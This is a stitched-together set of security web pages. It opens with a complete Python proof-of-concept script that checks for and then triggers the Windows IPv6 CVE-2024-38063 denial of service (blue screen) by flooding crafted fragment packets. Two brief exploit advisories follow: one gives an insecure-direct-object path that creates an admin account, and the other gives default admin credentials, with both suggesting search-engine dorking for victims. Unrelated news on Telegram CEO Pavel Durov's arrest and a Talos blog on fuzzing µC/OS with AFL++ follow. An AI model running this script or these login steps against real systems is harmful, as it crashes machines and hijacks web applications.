Microsoft Windows IPv6 vulnerability checking proof of concept python script that causes a denial of service. Windows 10 and 11 versions under 10.0.26100.1457 and Server 2016-2019-2022 versions under 10.0.17763.6189 are affected.

    #!/usr/bin/env python3# -*- coding: utf-8 -*-# Exploit Title: Windows IPv6 CVE-2024-38063 Checker and Denial-Of-Service# Date: 2024-08-07# Exploit Author: Photubias# Vendor Homepage: https://microsoft.com# Vendor Advisory: [1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063# Version: Windows 10, 11 <10.0.26100.1457 and Server 2016-2019-2022 <10.0.17763.6189# Tested on: Windows 11 23H2 and Windows Server 2022# CVE: CVE-2024-38063import os, subprocess, re, time, sys## VariablessDstIP = 'fe80::78b7:6283:49ad:c565'        ## Placeholderif len(sys.argv) > 1: sDstIP = sys.argv[1]  ## Please provide an argumentsDstMAC = '00:0C:29:55:E1:C8'               ## Not required, will try to get the MAC via Neighbor DiscoveryiBatches = 20iCorruptions = 20                           ## How many times do we want to corrupt the tcpip.sys memory per batchtry:    print('--- Loading Scapy, might take some time ...')    from scapy.config import conf    conf.ipv6_enabled = False    import scapy.all as scapy    scapy.conf.verb = 0except:    print('Error while loading scapy, please run "pip install scapy"')    exit(1)import logginglogging.getLogger('scapy.runtime').setLevel(logging.ERROR)def selectInterface(): #adapter[] = npfdevice, ip, mac    def getAllInterfaces():         lstInterfaces=[]        if os.name == 'nt':            proc = subprocess.Popen('getmac /NH /V /FO csv | FINDSTR /V /I disconnected', shell=True, stdout=subprocess.PIPE)            for bInterface in proc.stdout.readlines():                lstInt = bInterface.split(b',')                sAdapter = lstInt[0].strip(b'"').decode()                sDevicename = lstInt[1].strip(b'"').decode()                sMAC = lstInt[2].strip(b'"').decode().lower().replace('-', ':')                sWinguID = lstInt[3].strip().strip(b'"').decode()[-38:]                proc = subprocess.Popen('netsh int ipv6 show addr "{}" | FINDSTR /I Address'.format(sAdapter), shell=True, stdout=subprocess.PIPE)                try: sIP = re.findall(r'[\w:]+:+[\w:]+', proc.stdout.readlines()[0].strip().decode())[0]                except: sIP = ''                if len(sMAC) == 17: lstInterfaces.append([sAdapter, sIP, sMAC, sDevicename, sWinguID]) # When no or bad MAC address (e.g. PPP adapter), do not add        else:            proc = subprocess.Popen('for i in $(ip address | grep -v "lo" | grep "default" | cut -d":" -f2 | cut -d" " -f2);do echo $i $(ip address show dev $i | grep "inet6 " | cut -d" " -f6 | cut -d"/" -f1) $(ip address show dev $i | grep "ether" | cut -d" " -f6);done', shell=True, stdout=subprocess.PIPE)            for bInterface in proc.stdout.readlines():                lstInt = bInterface.strip().split(b' ')                try:                     if len(lstInt[2]) == 17: lstInterfaces.append([lstInt[0].decode(), lstInt[1].decode(), lstInt[2].decode(), '', ''])                except: pass        return lstInterfaces        lstInterfaces = getAllInterfaces()    if len(lstInterfaces) > 1:        i = 1        for lstInt in lstInterfaces: #array of arrays: adapter, ip, mac, windows devicename, windows guID            print('[{}] {} has {} ({})'.format(i, lstInt[2], lstInt[1], lstInt[0]))            i += 1        #sAnswer = input('[?] Please select the adapter [1]: ')        sAnswer='3'    else: sAnswer = None    if not sAnswer or sAnswer == '' or not sAnswer.isdigit() or int(sAnswer) >= i: sAnswer = 1    iAnswer = int(sAnswer) - 1    sNPF = lstInterfaces[iAnswer][0]    sIP = lstInterfaces[iAnswer][1]    sMAC = lstInterfaces[iAnswer][2]    if os.name == 'nt': sNPF = r'\Device\NPF_' + lstInterfaces[iAnswer][4]    return (sNPF, sIP, sMAC, lstInterfaces[iAnswer][3])def get_packets(iID, sDstIPv6, sDstMac=None):    iFragID = 0xbedead00 + iID    oPacket1 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrDestOpt(options=[scapy.PadN(otype=0x81, optdata='bad')])    oPacket2 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 1, offset = 0) / 'notalive'    oPacket3 = scapy.IPv6(fl=1, hlim=64+iID, dst=sDstIPv6) / scapy.IPv6ExtHdrFragment(id=iFragID, m = 0, offset = 1)    if sDstMac: ## Should always be this, it seems sending to 'ff:ff:ff:ff:ff:ff' does not work        oPacket1 = scapy.Ether(dst=sDstMac) / oPacket1        oPacket2 = scapy.Ether(dst=sDstMac) / oPacket2        oPacket3 = scapy.Ether(dst=sDstMac) / oPacket3    return [oPacket1, oPacket2, oPacket3]def doIPv6ND(sDstIP, sInt): ## Try to get a MAC address via IPv6 Neighbour Sollicitation    sMACResp = None    oNeighborSollicitation = scapy.IPv6(dst=sDstIP) / scapy.ICMPv6ND_NS(tgt=sDstIP) / scapy.ICMPv6NDOptSrcLLAddr(lladdr='ff:ff:ff:ff:ff:ff')    oResponse = scapy.sr1(oNeighborSollicitation, timeout=5, iface=sInt)    if oResponse and scapy.ICMPv6NDOptDstLLAddr in oResponse:        sMACResp = oResponse[scapy.ICMPv6NDOptDstLLAddr].lladdr    return sMACResplstInt = selectInterface() ## NPF, IPv6, MAC, NamesMAC = doIPv6ND(sDstIP, lstInt[0])if sMAC:     print(f'[+] Target {sDstIP} is reachable, got MAC Address {sMAC}')    sDstMAC = sMACelif sDstMAC != '':    print('[-] Target not responding to Neighbor Sollicitation Packets, using the provided MAC {}'.format(sDstMAC))else:     print('[-] Without a MAC address, this exploit will probably not work')lstPacketsToSend = []for i in range(iBatches):    for j in range(iCorruptions):        lstPacketsToSend += get_packets(j, sDstIP, sDstMAC) + get_packets(j, sDstIP, sDstMAC)## 'send' is Layer3 (let scapy figure out the MAC address), 'sendp' is L2 (MAC address is filled in, much better)print('[i] Verifying vulnerability against IPv6 address {}'.format(sDstIP))## Verification first: "ICMPv6ParamProblem"lstResp = scapy.srp1(lstPacketsToSend[0], iface=lstInt[0], timeout=5)if lstResp and scapy.IPv6 in lstResp[0] and scapy.ICMPv6ParamProblem in lstResp[0]:     print('[+] Yes, {} is vulnerable and exploitable for CVE-2024-38063'.format(sDstIP))else:     input('[-] Not vulnerable or firewall is enabled. Please verify and rerun or press enter to continue')print('[i] Waiting 10 seconds to let the target cool down (more is better)')time.sleep(10)input('[?] OK, continue to execute the Denial Of Service (BSOD)? Press Ctrl+C to cancel now')########## Exploitprint('[+] Sending {} packets now via interface {} {}'.format(len(lstPacketsToSend), lstInt[0], lstInt[3]))scapy.conf.verb = 1scapy.sendp(lstPacketsToSend, iface=lstInt[0])print('[+] All packets are sent, now it takes *exactly* 60 seconds for the target to crash')

Microsoft Windows IPv6 CVE-2024-38063 Checker / Denial Of Service

Online Graduate Tracer System version 1.0.0 suffers from an insecure direct object reference vulnerability.

**Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference**

Posted Aug 29, 2024

Authored by indoushka

Online Graduate Tracer System version 1.0.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 0abd7e5d887d9e2204c565886d418ad0656b2616bb80e508761e6e23aa8bf66f

Download | Favorite | View

**Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference**

    =============================================================================================================================================| # Title     : Online Graduate Tracer System V 1.0.0 IDOR Vulnerability                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/tracking.zip                                          |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : leads to the creation of a new admin.[+] use payload : /admin/user_ad.php or /admin/homead.php[+] http://127.0.0.1/tracking/admin/user_ad.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,590)
*   Arbitrary (16,908)
*   BBS (2,859)
*   Bypass (1,880)
*   CGI (1,034)
*   Code Execution (7,844)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,413)
*   DoS (25,127)
*   Encryption (2,389)
*   Exploit (53,324)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,244)
*   Local (14,809)
*   Magazine (587)
*   Overflow (13,180)
*   Perl (1,435)
*   PHP (5,228)
*   Proof of Concept (2,397)
*   Protocol (3,733)
*   Python (1,649)
*   Remote (31,707)
*   Root (3,639)
*   Rootkit (529)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,033)
*   Shell (3,282)
*   Shellcode (1,217)
*   Sniffer (903)
*   Spoof (2,279)
*   SQL Injection (16,630)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,027)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,270)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,941)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,657)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,783)
*   UNIX (9,443)
*   UnixWare (187)
*   Windows (6,679)
*   Other

Online Graduate Tracer System 1.0.0 Insecure Direct Object Reference

Online Appointment System version 1.0 suffers from an ignored default credential vulnerability.

**Online Appointment System 1.0 Insecure Settings**

Posted Aug 29, 2024

Authored by indoushka

Online Appointment System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | d5e851d5d33d2e7f80f5f84bed4e54f5abf704b307cd6b2d6284ec6e7d940a3c

Download | Favorite | View

**Online Appointment System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Online Appointment System v1.0 Insecure Settings Vulnerability                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/php/14502/online-appointment-system-php-full-source-code-2020.html                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,590)
*   Arbitrary (16,908)
*   BBS (2,859)
*   Bypass (1,880)
*   CGI (1,034)
*   Code Execution (7,844)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,413)
*   DoS (25,127)
*   Encryption (2,389)
*   Exploit (53,324)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,244)
*   Local (14,809)
*   Magazine (587)
*   Overflow (13,180)
*   Perl (1,435)
*   PHP (5,228)
*   Proof of Concept (2,397)
*   Protocol (3,733)
*   Python (1,649)
*   Remote (31,707)
*   Root (3,639)
*   Rootkit (529)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,033)
*   Shell (3,282)
*   Shellcode (1,217)
*   Sniffer (903)
*   Spoof (2,279)
*   SQL Injection (16,630)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,027)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,270)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,941)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,657)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,783)
*   UNIX (9,443)
*   UnixWare (187)
*   Windows (6,679)
*   Other

Online Appointment System 1.0 Insecure Settings

Multi-Vendor Online Groceries Management System version 1.0 suffers from an ignored default credential vulnerability.

**Multi-Vendor Online Groceries Management System 1.0 Insecure Settings**

Posted Aug 29, 2024

Authored by indoushka

Multi-Vendor Online Groceries Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | cd8e33861bcd681954a3b899d067996fd35799bcecc9ac6f0764304867a5ecb8

Download | Favorite | View

**Multi-Vendor Online Groceries Management System 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Multi-Vendor Online Groceries Management System v1.0 Insecure Settings Vulnerability                                        || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html       |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,590)
*   Arbitrary (16,908)
*   BBS (2,859)
*   Bypass (1,880)
*   CGI (1,034)
*   Code Execution (7,844)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,413)
*   DoS (25,127)
*   Encryption (2,389)
*   Exploit (53,324)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,244)
*   Local (14,809)
*   Magazine (587)
*   Overflow (13,180)
*   Perl (1,435)
*   PHP (5,228)
*   Proof of Concept (2,397)
*   Protocol (3,733)
*   Python (1,649)
*   Remote (31,707)
*   Root (3,639)
*   Rootkit (529)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,033)
*   Shell (3,282)
*   Shellcode (1,217)
*   Sniffer (903)
*   Spoof (2,279)
*   SQL Injection (16,630)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,027)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,270)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,941)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,657)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,783)
*   UNIX (9,443)
*   UnixWare (187)
*   Windows (6,679)
*   Other

Multi-Vendor Online Groceries Management System 1.0 Insecure Settings

Telegram CEO Pavel Durov has been arrested in France which raises a lot of questions about the reasons behind the arrest.

France has indicted the CEO of the popular messaging app Telegram on charges of complicity in the distribution of child sex abuse images, aiding organized crime, drug trafficking, fraud, and refusing lawful orders to give information to law enforcement.

The arrest warrants for Pavel Durov and his brother, co-founder of Telegram Nikolai Durov, reportedly were issued in March. Pavel was arrested on Saturday August 24, allegedly after a female influencer travelling with him posted real-time updates about their location and means of transportation.

At the same time, the Indian government is investigating Telegram for alleged extortion activities on the platform, and over concerns about illegal gambling operations.

Pavel Durov is a French national but was born in Russia. He also holds citizenship of the United Arab Emirates where Telegram is based. He avoided jail by putting up a $5 million bail, but has to stay in France and report to a police station twice a week.

Russian officials claim that Durov’s arrest is politically motivated, a claim strongly denied by French president Emmanuel Macron, who met with Durov on several occasions prior to Durov receiving the French nationality through a special procedure for those deemed to have made a special contribution to France.

There is no reasonable doubt that Telegram as a platform is used for illegal purposes. It’s well known that cybercriminals use it to exchange and sell both malware and information, and the app is banned in several countries.

One of the questions is whether providing the tools for a crime is a crime in itself. Logic dictates that this is not the case, or every crowbar manufacturer would be behind bars. However, the underlying question is: did Telegram do its best to prevent the app from being used for criminal activity?

Telegram commented that its moderation was:

> “within industry standards and constantly improving.”

Some are asking whether this arrest is a limitation of the freedom of speech. Telegram is also used by citizens of countries with a totalitarian regime to communicate outside of the government’s reach.

This is considered safe because Telegram shares no information with any authorities about the messages or activities on the app. However, as experts have explained, Telegram is not end-to-end encrypted unless you use the “Secret Chats” feature which is not easy.

End-to-end encryption means that only the person you are sending your messages can read them. This is impossible in Telegram unless it is a one-on-one conversation with Secret Chats enabled, which only works if the other person is online.

Undoubtedly this story will develop further, and we will keep you posted about it.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Telegram CEO Pavel Durov charged with allowing criminal activity 

French prosecutors on Wednesday formally charged CEO Pavel Durov with facilitating a litany of criminal activity on the popular messaging platform and placed him under formal investigation following his arrest Saturday.
Russian-born Durov, who is also a French citizen, has been charged with being complicit in the spread of child sexual abuse material (CSAM) as well as enabling organized crime,

French prosecutors on Wednesday formally charged CEO Pavel Durov with facilitating a litany of criminal activity on the popular messaging platform and placed him under formal investigation following his arrest Saturday.

Russian-born Durov, who is also a French citizen, has been charged with being complicit in the spread of child sexual abuse material (CSAM) as well as enabling organized crime, illicit transactions, drug trafficking, and fraud.

Durov has also been charged with a "refusal to communicate, at the request of competent authorities, information or documents necessary for carrying out and operating interceptions allowed by law," according to an English translation of the press release.

The 39-year-old was detained at Le Bourget airport north of Paris at 8 p.m. local time on Saturday after disembarking from a private jet. To avoid pretrial detention, Durov has been ordered to pay a €5 million bail, but he is barred from leaving the country and must report to the authorities twice a week.

The arrest is in connection with a judicial investigation into an unnamed person that was opened in France on July 8, 2024, primarily driven by Telegram's lax moderation policies that have allowed extremist and malicious activity to thrive on the platform. A preliminary probe is said to have commenced in February 2024.

"The almost total lack of response from Telegram to judicial requisitions was brought to the attention of the cybercrime fighting section (J3) of JUNALCO (National Jurisdiction for the Fight against Organized Crime, within the Paris prosecutor's office), in particular by OFMIN (National Office for Minors)," Paris prosecutor Laure Beccuau said.

"When consulted, other French investigative services and public prosecutors as well as various partners within Eurojust, particularly Belgian ones, shared the same observation. This is what led JUNALCO to open an investigation into the possible criminal liability of the managers of this messaging service in the commission of these offenses."

Other charges against Durov include -

*   Supply of cryptographic services designed to ensure confidentiality without a declaration of conformity
*   Supply and import of a cryptographic means that does not exclusively ensure authentication or integrity control functions without prior declaration

The development marks one of the rare instances where a company's top executive has been held liable for what users' post on a major platform that has more than 950 million monthly active users. Durove was previously the CEO of the Russian social media platform Vkontakte which he had founded in 2006. Telegram was subsequently launched in 2013.

Following Durov's arrest, Telegram said in a statement on X that he has "nothing to hide," adding "it is absurd to claim that a platform or its owner are responsible for abuse of that platform." The company also claims it regularly publishes reports of thousands of groups and channels related to child abuse being banned on the messaging service.

It's also worth noting that the site's terms of service specifically state that it does not process any requests related to illegal content shared on Telegram chats and group chats.

Politico has since reported that French authorities issued arrest warrants for Telegram CEO Pavel Durov and his co-founder brother Nikolai in March 2024. French President Emmanuel Macron said Monday that Durov's arrest wasn't a political decision but part of an independent investigation.

The Wall Street Journal further revealed Wednesday that Durov's iPhone was hacked by French spies in a joint operation with the United Arab Emirates in 2017 as part of a previously unknown operation codenamed Purple Music, citing people familiar with the matter.

"French security officials were acutely concerned about Islamic State's use of Telegram to recruit operatives and plan attacks," the report said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

French Authorities Charge Telegram CEO with Facilitating Criminal Activities on Platform

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries.

Wednesday, August 28, 2024 12:00

This is the first post of a three-part series, where we will be delving into the intricacies of fuzzing µC/OS protocol stacks. The techniques I will discuss are universally applicable to various RTOS environments, though our focus will primarily be on µC/OS. 

I’ll highlight some of the strategic code modifications I implemented across different µC/OS components. The objective is to streamline the process of developing a fuzzing harness tailored for the µC/HTTP-server. In the second installment of this series, I’ll discuss a technique that I used for delivering multiple requests per fuzz test case. The third post will be like this one, as I’ll describe the code modifications that I made with the aim of fuzzing the µC/TCP-IP stack.

For a bit of context, µC/OS is an RTOS, or “Real-Time Operating System.” An RTOS is a specialized operating system designed to manage hardware resources and host applications that need to run in systems where timing is critical, such as in embedded systems, medical devices, or industrial controls. RTOSes haven’t been fuzzed as thoroughly as software that runs on desktop operating systems, primarily due to the complexities associated with setting up a fuzzing harness for these systems. 

Developing a harness for an RTOS requires more coding effort than what is typically required for a straightforward, single-line fuzzing harness used with desktop applications or libraries. 

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries. It’s important to put these codebases through the same rigorous testing as is common for desktop operating systems. My hope is that the techniques described in this blog post series will encourage more widespread use of fuzzing of RTOS software components. 

Historically fuzzing RTOS code involved a custom hardware setup to fuzz the code in its native environment, or fuzzing on an emulated version of the system. However, when Weston Embedded made the full µC/OS source code openly available in 2020, it sparked my curiosity about whether there could be a less complex approach to fuzz this type of code.

The goals for my fuzzer are:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case (more on this in part 2).

Additionally, the constraints (self-imposed) for my HTTP fuzzer are:

*   A software-only solution.
*   Run natively on Linux.

With that in mind, I wanted to avoid using emulation or dedicated hardware for my fuzzer.

**Linux port**

To make use of a modern fuzzing framework like AFL++, I needed to write some code that would allow the µC/HTTP-server to operate on Linux instead of the native µC/OS kernel. However, I had to give some thought to what exactly I wanted my fuzzer to target and determine appropriate insertion points for my hooks that would enable this protocol implementation to run on Linux.

Below is a basic architecture diagram showing the software component structure of a µC/HTTP-server application. The blue highlight represents the components that I will be modifying to port the application to Linux. The orange highlight represents the code which is the target for the fuzzer.

The modular design of µC/OS makes it wonderful to work with for this type of fuzzing. The Kernel Abstraction Layer (KAL in the diagram) provides a common API that is utilized by each of their libraries. This makes it easy to create a custom KAL that either mimics the desired RTOS functionalities for my fuzzer or simply returns a success signal for features that aren't relevant to the fuzzing process. Although µC/OS provides a POSIX-compatible KAL that enables the µC/HTTP-server to run on Linux, I chose to create my own KAL interface to simplify the entire setup. 

The KAL lays out an API blueprint for operating system components like task management, locks, semaphores, timers, and message queues. In the case of µC/HTTP-server, the only KAL function it calls is KAL_TaskCreate, which means I only needed to implement this particular function in my custom KAL interface. Additionally, since the task in question is the main HTTP processing loop, I found a workaround by directly invoking the function itself within the KAL_TaskCreate function, bypassing the need for a more complex task creation process. Example code below:

    void  KAL_TaskCreate (KAL_TASK_HANDLE     task_handle,
                          void              (*p_fnct)(void  *p_arg),
                          void               *p_task_arg,
                          CPU_INT08U          prio,
                          KAL_TASK_EXT_CFG   *p_cfg,
                          RTOS_ERR           *p_err)
    {
        /* return success  */
        *p_err = RTOS_ERR_NONE;
        /* fake it and call the function */
        p_fnct(p_task_arg);
        return;
    }

**Networking port****Socket reads**

Much like the Linux port mentioned earlier, there is a network abstraction called NetSock within µC/OS's TCP/IP protocol suite which is like a POSIX socket in its functionality. For the purposes of this fuzzing project, my attention isn't on probing the underlying TCP/IP stack; instead, I'm focused on the µC/HTTP-server code. To ensure that the fuzzing input is fed directly to the µC/HTTP-server code without first passing through the TCP/IP code, I created a custom NetSock implementation. 

My ultimate goal for this fuzzer is to read network data from a file. However, it will simplify the testing and debugging process to use existing tools to send real network traffic to my application. Once my µC/HTTP-server application is working enough to load a web page in a browser, it shouldn’t be too difficult to redirect protocol data from a file. 

I decided to implement a NetSock to POSIX socket port. All that was required to do that was to call the POSIX counterpart within the NetSock API and return an appropriate µC/OS error code. Below is example code demonstrating receiving data from a socket:

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        *p_err = NET_SOCK_ERR_NONE;
        ssize_t recvLen = 0;
        recvLen = recv(sock_id, p_data_buf, data_buf_len, 0);
        if (recvLen < 0)
        {
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
        }
        else if (recvLen == 0)
        {
            *p_err = NET_SOCK_ERR_RX_Q_EMPTY;
        }
        return recvLen;
    }
    

I then repeated this process for each of the NetSock_\* functions. I used the correct NetSock_\* function signature, called the corresponding POSIX socket function call and then returned an error code that was of the type NET_SOCK_RTN_CODE.

**File reads**

With my µC/HTTP-server application now properly responding to HTTP requests, the next step was to set it up for fuzzing by having the NetSock code read from a file instead of a real POSIX socket. There are a few different options of how to achieve reading from a file. The first is using a tool called libdesock. The way that file redirection works with this tool is that the library gets loaded by the Linux linker before other libraries by using LD_PRELOAD. This allows the libdesock library to intercept POSIX socket calls and redirect them to stdin and stdout. 

Since I was already well acquainted with modifying the NetSock code, another simple approach is to read from a file instead of calling recv within NetSock. To implement this, my µC/HTTP-server application takes a file name as an argument and stores a file pointer to that file in a global variable named curr_inputfd. Below is an example of “receiving” data from a file: 

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        ssize_t totalLen = 0;
    
        *p_err = NET_SOCK_ERR_NONE;
    
        totalLen = read(curr_inputfd, (char*)p_data_buf, data_buf_len);
    
        if (0 > totalLen)
        {
            /* return an error */
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
            
        }
        else if (0 == totalLen)
        {
            /* we've read the whole file and we can leave*/
            *p_err = NET_SOCK_ERR_CLOSED;
        }
    
        return totalLen;
    }
    

It is important to note that the above code returns an error when the end of the file (EOF) is reached. This happens because NetSock_RxData is invoked within a processing loop, and the error serves as an indicator to the caller that this "socket" has been closed.

When fuzzing an application, it is crucial for the fuzzer to differentiate between a clean exit (normal program termination) and a crash. Additionally, the program should terminate after processing the fuzzed input. Therefore, I needed to make another code modification for fuzzing purposes, ensuring that the program exits after the file has been read and processed, resulting in a "normal" termination. 

Without this modification, the application would continue running in a processing loop, causing the fuzzer to mistakenly count this as a hang rather than a normal program termination, leading to false-positives for hangs.

By placing the exit in this location, it will be called during the typical execution flow of closing a connection. And, as noted above, when the error code NET_SOCK_ERR_CLOSED is returned from NetSock_RxData, it triggers the HTTPsConn_Close function, which subsequently terminates the program's execution.

**Memory errors**

A major benefit of porting my µC/HTTP-server application to run natively on Linux is that I can compile my application with AddressSanitizer. AddressSanitizer, or ASAN, is a compiler feature in GCC and Clang that can detect memory errors in C/C++. 

This can be a very valuable tool when used in conjunction with fuzzing to reveal software vulnerabilities. When ASAN is enabled, the application will crash when a memory error is encountered. 

Things like use after free, NULL pointer dereference, and buffer overruns will cause an immediate crash even if the test input would not have normally crashed the program. When ASAN causes a program to crash, it’s like an alarm bell going off for a vulnerability researcher (**“**Look over here, there are problems in this section of code!**”**). I wanted to use ASAN when running my fuzzer, but it didn’t work straight away for heap memory in my µC/HTTP-server application. This is because µC/OS provides its own heap implementation. 

ASAN works by tracking heap memory allocations made with glibc malloc, but my application doesn’t use malloc at all. The simplest solution that I produced was to add preprocessor macros to detect when the application was being compiled with ASAN and redirect the allocation to glibc malloc. Here’s an example of what I mean:

    void  *Mem_DynPoolBlkGet (MEM_DYN_POOL  *p_pool,
                              LIB_ERR       *p_err)
    {
    #ifdef __SANITIZE_ADDRESS__
        p_blk = malloc(p_pool->BlkSize);
        if (NULL == p_blk)
        {
            *p_err = LIB_MEM_ERR_POOL_EMPTY;
            return(DEF_NULL);
        }
        else
        {
            *p_err = LIB_MEM_ERR_NONE;
        }
        return (p_blk);
    
    #endif /*__SANITIZE_ADDRESS__*/

µC/OS provides developers the capability to define constraints on the heap's location and utilization with its specialized heap allocator. This feature is particularly useful in systems with limited memory, where developers require fine-tuned control over memory allocation. However, since my application is running on Linux, I'm not constrained by memory limitations, and I have access to the standard glibc malloc function. Simply calling malloc within Mem_DynPoolBlkGet  works because the caller of Mem_DynPoolBlkGet doesn’t care about the specific memory location of the pointer that's returned. Rather, it expects the pointer to reference a chunk of memory that's ready for use and meets the minimum size requirement. By making this minor adjustment to the code, I enabled the Address Sanitizer (ASAN) features I wanted, without affecting the rest of the application's functionality.

**Vulnerability highlight**

To this point, we’ve made strategic modifications to µC/OS code, creating a software-only fuzzing solution capable of running natively on Linux and accepting input from a file. The approach we discussed here has proven its efficacy by uncovering five unique vulnerabilities: TALOS-2023-1725 (CVE-2023-24585), TALOS-2023-1733 (CVE-2023-27882), TALOS-2023-1738 (CVE-2023-28379), TALOS-2023-1746 (CVE-2023-31247) and TALOS-2023-1843 (CVE-2023-45318).

